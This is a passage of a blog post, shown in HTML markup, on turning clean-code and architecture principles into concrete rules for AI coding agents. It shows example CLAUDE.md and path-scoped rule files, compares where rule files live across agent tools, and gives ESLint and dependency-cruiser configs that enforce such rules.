  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findUnique&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;qty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;vip&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;employee&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;// ... 150 more lines: payment, email, stock&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It works. The tests pass. And it ignores almost everything the same model just explained so well: the function grew a new reason to change, a magic number appeared, the domain rule lives next to database calls and the next discount means another &lt;code&gt;else if&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Knowing a principle and applying it by default are two different skills, and AI coding agents only get the first one for free.&lt;/strong&gt; This post covers why that happens, which clean code rules for AI coding agents actually change the output, and where to write them (&lt;code&gt;CLAUDE.md&lt;/code&gt;, &lt;code&gt;AGENTS.md&lt;/code&gt;, path-scoped rules, linters and hooks) so the agent applies them more consistently across tasks, including the ones where you forget to ask.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why the agent skips what it knows
&lt;/h2&gt;

&lt;p&gt;The model is not ignorant. In my experience, it simply follows the strongest signals in its context. This is what I observe in practice, not a description of how the model works internally:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What the agent sees&lt;/th&gt;
&lt;th&gt;What it tends to produce&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Your request ("add a discount")&lt;/td&gt;
&lt;td&gt;The smallest change that satisfies it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The surrounding code&lt;/td&gt;
&lt;td&gt;Matching its style, even if the style is a 300-line function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Passing tests&lt;/td&gt;
&lt;td&gt;"Done" means green, not "easy to change"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No stated standards&lt;/td&gt;
&lt;td&gt;Generic conventions that may not match your project&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nobody asked for SOLID, so SOLID is optional. The same thing happens with security: &lt;a href="https://dev.to/soaresdiogo/your-ai-agent-will-build-an-insecure-login-unless-you-tell-it-not-to-54nj"&gt;an agent asked for "an app with login" will often store a JWT in &lt;code&gt;localStorage&lt;/code&gt;&lt;/a&gt;, even though it can explain perfectly why that is a bad idea.&lt;/p&gt;

&lt;p&gt;There is also the opposite failure. Write "follow SOLID and use design patterns" and some agents swing to ceremony: an &lt;code&gt;IDiscountService&lt;/code&gt; with one implementation, a factory that builds one object, five files for a feature that needed twenty lines. That code is just as hard for a human to maintain, only in a different way.&lt;/p&gt;

&lt;p&gt;So the problem is not "the AI doesn't know clean code". The problem is that &lt;strong&gt;vague principles produce either nothing or too much&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who is this code really for?
&lt;/h2&gt;

&lt;p&gt;Let's be honest about the premise. In most teams that use agents heavily, a human will rarely implement the next feature alone. The model that wrote the code, or its successor, will be in the loop.&lt;/p&gt;

&lt;p&gt;I still think maintainability for humans matters, for four reasons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The 3 a.m. incident.&lt;/strong&gt; When production breaks, someone has to read the code fast and trust what they read. That person may not have an agent session open, or the agent may be confidently wrong.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review.&lt;/strong&gt; Every pull request an agent opens should be reviewed by a person. Code that takes an hour to understand gets approved without being understood.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools change.&lt;/strong&gt; Models get deprecated, teams switch tools, budgets get cut. Code that only one model can navigate is a form of vendor lock-in.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The next session is a stranger too.&lt;/strong&gt; Every agent session starts with a fresh context window, without the conversation that produced the code. Instruction files and memory features carry some knowledge across sessions (&lt;a href="https://code.claude.com/docs/en/memory" rel="noopener noreferrer"&gt;docs&lt;/a&gt;), but the reasons behind a design rarely make it there. Most of what the next session knows comes from reading the code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one is the point I find most underrated. In my experience, &lt;strong&gt;code that a new human can understand quickly is also code that the next agent session understands quickly&lt;/strong&gt;, usually with fewer files to open and fewer wrong guesses. Clean code stopped being only a courtesy to colleagues. It is now also part of the agent's context.&lt;/p&gt;




&lt;h2&gt;
  
  
  Turn principles into rules the agent can check
&lt;/h2&gt;

&lt;p&gt;The Claude Code docs say it plainly: instruction files are treated "as context, not enforced configuration", and the more specific and concise the instructions, the more consistently they are followed (&lt;a href="https://code.claude.com/docs/en/memory" rel="noopener noreferrer"&gt;docs&lt;/a&gt;). Their examples are telling: "Use 2-space indentation" instead of "Format code properly".&lt;/p&gt;

&lt;p&gt;The same applies to design. "Follow SOLID" is a vibe. "Inject dependencies through the constructor; never instantiate a repository inside a use case" is a rule you can verify in a diff.&lt;/p&gt;

&lt;p&gt;A note before the table: these are &lt;strong&gt;my own, opinionated rules for object-oriented projects with a rich domain&lt;/strong&gt;. Several (one class per use case, at most 3 parameters, no &lt;code&gt;else&lt;/code&gt;) come from Object Calisthenics and preference, not from SOLID. What matters is the shape of each rule: concrete enough to check. Swap the content for your team's standards.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vague instruction&lt;/th&gt;
&lt;th&gt;Rule the agent (and a reviewer) can check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Follow SRP&lt;/td&gt;
&lt;td&gt;Each class or module has one reason to change. A use case does one thing, one class per use case.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Write clean code&lt;/td&gt;
&lt;td&gt;Functions do one thing, take at most 3 parameters, no magic numbers or strings: use named constants or enums.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use good architecture&lt;/td&gt;
&lt;td&gt;The domain does not import frameworks, ORM, HTTP or database code. Dependencies point inwards.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use design patterns&lt;/td&gt;
&lt;td&gt;Use a pattern only for a concrete problem, say which problem, and name the pattern in the class name or a short comment.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keep it readable&lt;/td&gt;
&lt;td&gt;One level of indentation per method. No &lt;code&gt;else&lt;/code&gt;: use guard clauses.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Don't over-engineer&lt;/td&gt;
&lt;td&gt;Apply the rules pragmatically. If a rule hurts readability or fights the framework's idiom, choose clarity and mention the trade-off.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last row matters as much as the others. Without an explicit escape hatch, a strict rule set produces the ceremony problem from the previous section.&lt;/p&gt;

&lt;h3&gt;
  
  
  What my global file looks like
&lt;/h3&gt;

&lt;p&gt;This is a trimmed and translated version of the global &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; I use on every project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# Mandatory engineering standards&lt;/span&gt;

These rules apply to all code I write, in any project.
In existing projects, respect the architecture and conventions already in
place. Apply these rules to new code and refactors; don't rewrite what
wasn't asked.

&lt;span class="gu"&gt;## Clean Code&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Intention-revealing names; no obscure abbreviations.
&lt;span class="p"&gt;-&lt;/span&gt; Small functions that do one thing, ideally ≤ 3 parameters.
&lt;span class="p"&gt;-&lt;/span&gt; Comments explain "why", not "what". No dead code.
&lt;span class="p"&gt;-&lt;/span&gt; No magic numbers or strings: named constants or enums.

&lt;span class="gu"&gt;## SOLID and Object Calisthenics&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Depend on abstractions; inject dependencies through the constructor.
&lt;span class="p"&gt;-&lt;/span&gt; One level of indentation per method. No &lt;span class="sb"&gt;`else`&lt;/span&gt;: use guard clauses.
&lt;span class="p"&gt;-&lt;/span&gt; Wrap primitives with domain meaning in Value Objects.
&lt;span class="p"&gt;-&lt;/span&gt; Tell, don't ask: no indiscriminate getters and setters.

Apply with pragmatism: if a rule clearly hurts readability or conflicts
with the language/framework idiom, prioritize clarity and mention the
trade-off.

&lt;span class="gu"&gt;## Clean Architecture&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Layers: Domain, Application (use cases, ports), Infrastructure, Presentation.
&lt;span class="p"&gt;-&lt;/span&gt; Dependencies point inwards: the domain depends on no other layer;
  application depends on the domain; infrastructure and presentation
  depend on the application's ports and the domain.
&lt;span class="p"&gt;-&lt;/span&gt; The domain knows nothing about frameworks, ORM, HTTP or databases.
&lt;span class="p"&gt;-&lt;/span&gt; Repositories and gateways are interfaces in the application layer,
  implemented in infrastructure.

&lt;span class="gu"&gt;## Design patterns&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Use them when they solve a real problem, never as decoration.
&lt;span class="p"&gt;-&lt;/span&gt; When you apply one, name it (class name or a short comment).

&lt;span class="gu"&gt;## Tests&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Domain and use cases have unit tests. AAA structure, descriptive names.

&lt;span class="gu"&gt;## Scope&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; For tiny one-off scripts, apply Clean Code but don't force layers;
  say when you are simplifying for that reason.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three details in this file do most of the work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Respect the existing conventions."&lt;/strong&gt; Without it, an agent dropped into a legacy codebase will happily start rewriting modules into hexagonal architecture in the middle of a bug fix.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Name the pattern."&lt;/strong&gt; It makes the design visible and reviewable: a human reading &lt;code&gt;PercentageDiscountStrategy&lt;/code&gt; knows what to look for. Naming a pattern doesn't prove it was needed, though, so the rule next to it does the real work: use one only for a concrete problem, and say which.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Mention the trade-off."&lt;/strong&gt; When the agent bends a rule, it has to say so. That turns silent decisions into something you can review.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Where to write the rules
&lt;/h2&gt;

&lt;p&gt;Not every rule belongs in the same file. I think about it in layers, from the broadest scope to the most specific, plus one layer that is not an instruction at all.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;What goes there&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Personal, all projects&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; and &lt;code&gt;~/.claude/rules/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Your engineering standards: the file above.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Organization&lt;/td&gt;
&lt;td&gt;Managed &lt;code&gt;CLAUDE.md&lt;/code&gt; (deployed by IT)&lt;/td&gt;
&lt;td&gt;Company-wide coding and security policies.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project, shared with the team&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;./CLAUDE.md&lt;/code&gt; or &lt;code&gt;AGENTS.md&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;This project's architecture: layers, folders, commands, conventions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Part of the codebase&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.claude/rules/*.md&lt;/code&gt; with &lt;code&gt;paths:&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Rules for &lt;code&gt;src/domain/**&lt;/code&gt; that don't matter for scripts or UI.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement&lt;/td&gt;
&lt;td&gt;Linters, dependency rules, hooks, CI&lt;/td&gt;
&lt;td&gt;Anything that must never be violated.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A few facts from the docs that change how you organize this (&lt;a href="https://code.claude.com/docs/en/memory" rel="noopener noreferrer"&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Files stack, they don't override.&lt;/strong&gt; All discovered &lt;code&gt;CLAUDE.md&lt;/code&gt; files are concatenated, broadest first. Contradictions between them are a real problem: Claude "may pick one arbitrarily".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Size matters.&lt;/strong&gt; The recommendation is to stay under about 200 lines per file. &lt;code&gt;@path&lt;/code&gt; imports help organization but not context cost, since imported files load at launch too.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path-scoped rules load only when needed.&lt;/strong&gt; A rule with &lt;code&gt;paths: ["src/domain/**/*.ts"]&lt;/code&gt; enters the context only when the agent touches a matching file, so your domain rules don't crowd out everything else.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;AGENTS.md&lt;/code&gt; works too.&lt;/strong&gt; Recent Claude Code versions read &lt;code&gt;AGENTS.md&lt;/code&gt; when there is no project &lt;code&gt;CLAUDE.md&lt;/code&gt;, and a &lt;code&gt;CLAUDE.md&lt;/code&gt; can simply import it with &lt;code&gt;@AGENTS.md&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A path-scoped rule for the domain layer looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;src/domain/**/*.ts"&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

&lt;span class="gh"&gt;# Domain layer rules&lt;/span&gt;
&lt;span class="p"&gt;
-&lt;/span&gt; No imports from &lt;span class="sb"&gt;`src/infrastructure`&lt;/span&gt;, Prisma, Express or any HTTP client.
&lt;span class="p"&gt;-&lt;/span&gt; Money is a &lt;span class="sb"&gt;`Money`&lt;/span&gt; value object, never a raw &lt;span class="sb"&gt;`number`&lt;/span&gt;.
&lt;span class="p"&gt;-&lt;/span&gt; Pricing rules (discounts, fees, taxes) are pure and testable in
  isolation: no I/O, no framework code.
&lt;span class="p"&gt;-&lt;/span&gt; Start with a function. Introduce Strategy only when variations change
  independently, and explain why in the PR description.
&lt;span class="p"&gt;-&lt;/span&gt; Refactors preserve behavior: order, precedence and stacking of rules
  don't change unless the task asks for it.
&lt;span class="p"&gt;-&lt;/span&gt; Every new rule gets a unit test in &lt;span class="sb"&gt;`src/domain/**/__tests__`&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  If your team uses more than one tool
&lt;/h3&gt;

&lt;p&gt;The same ideas exist in every serious agent, with different file names:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Always-on rules&lt;/th&gt;
&lt;th&gt;Scoped rules&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CLAUDE.md&lt;/code&gt; (or &lt;code&gt;AGENTS.md&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.claude/rules/*.md&lt;/code&gt; with &lt;code&gt;paths&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;AGENTS.md&lt;/code&gt; or &lt;code&gt;.mdc&lt;/code&gt; rules with &lt;code&gt;alwaysApply: true&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.cursor/rules/*.mdc&lt;/code&gt; with &lt;code&gt;globs&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Copilot&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.github/copilot-instructions.md&lt;/code&gt; or &lt;code&gt;AGENTS.md&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.github/instructions/*.instructions.md&lt;/code&gt; with &lt;code&gt;applyTo&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codex and others&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nested &lt;code&gt;AGENTS.md&lt;/code&gt; per directory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;My rule of thumb: keep the project-level standards in &lt;strong&gt;one&lt;/strong&gt; &lt;code&gt;AGENTS.md&lt;/code&gt; and import or link it from the tool-specific files. Two copies of the same rules will drift apart within a month.&lt;/p&gt;

&lt;p&gt;The other half of "where" is the &lt;em&gt;why&lt;/em&gt;. Rules tell the agent how to write code; they don't explain why your system is shaped the way it is. That belongs in &lt;a href="https://dev.to/soaresdiogo/adrs-are-the-guardrails-your-ai-coding-agent-is-missing-459c"&gt;ADRs the agent reads before changing a decision&lt;/a&gt;, and for each feature, in &lt;a href="https://dev.to/soaresdiogo/spec-before-code-how-openspec-keeps-ai-coding-agents-building-the-right-thing-3hee"&gt;a spec you review before the agent writes code&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rules are context. Linters are law.
&lt;/h2&gt;

&lt;p&gt;Instructions raise the probability of good code. They don't guarantee it. A long session, a large diff or a conflicting instruction is enough for a rule to be skipped. So every rule that can be checked by a machine should be.&lt;/p&gt;

&lt;p&gt;"Law" needs a qualifier, though: &lt;strong&gt;a linter only enforces anything if it runs and a failure blocks the merge.&lt;/strong&gt; A check that runs only on someone's laptop is just another suggestion. The guarantee comes from CI refusing to integrate code that fails.&lt;/p&gt;

&lt;p&gt;Some Clean Code and Object Calisthenics rules have a reasonable approximation in core ESLint. For TypeScript, add them to a config that already sets up the parser, for example with &lt;a href="https://typescript-eslint.io/getting-started/" rel="noopener noreferrer"&gt;typescript-eslint&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// eslint.config.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;tseslint&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;typescript-eslint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;tseslint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;configs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;recommended&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;files&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;src/**/*.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;max-depth&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;            &lt;span class="c1"&gt;// a loose proxy for "one level of indentation"&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;no-else-return&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;            &lt;span class="c1"&gt;// flags else after return, not every else&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;max-params&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;max-lines-per-function&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;complexity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;no-magic-numbers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;warn&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;ignore&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of these rules proves the code is well designed. They catch the measurable symptoms (deep nesting, long functions, magic numbers) and leave the rest to review.&lt;/p&gt;

&lt;p&gt;Architecture rules need a dependency checker. With &lt;a href="https://github.com/sverweij/dependency-cruiser" rel="noopener noreferrer"&gt;dependency-cruiser&lt;/a&gt;, "the domain doesn't import the infrastructure" becomes a failing build:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// .dependency-cruiser.cjs&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;forbidden&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
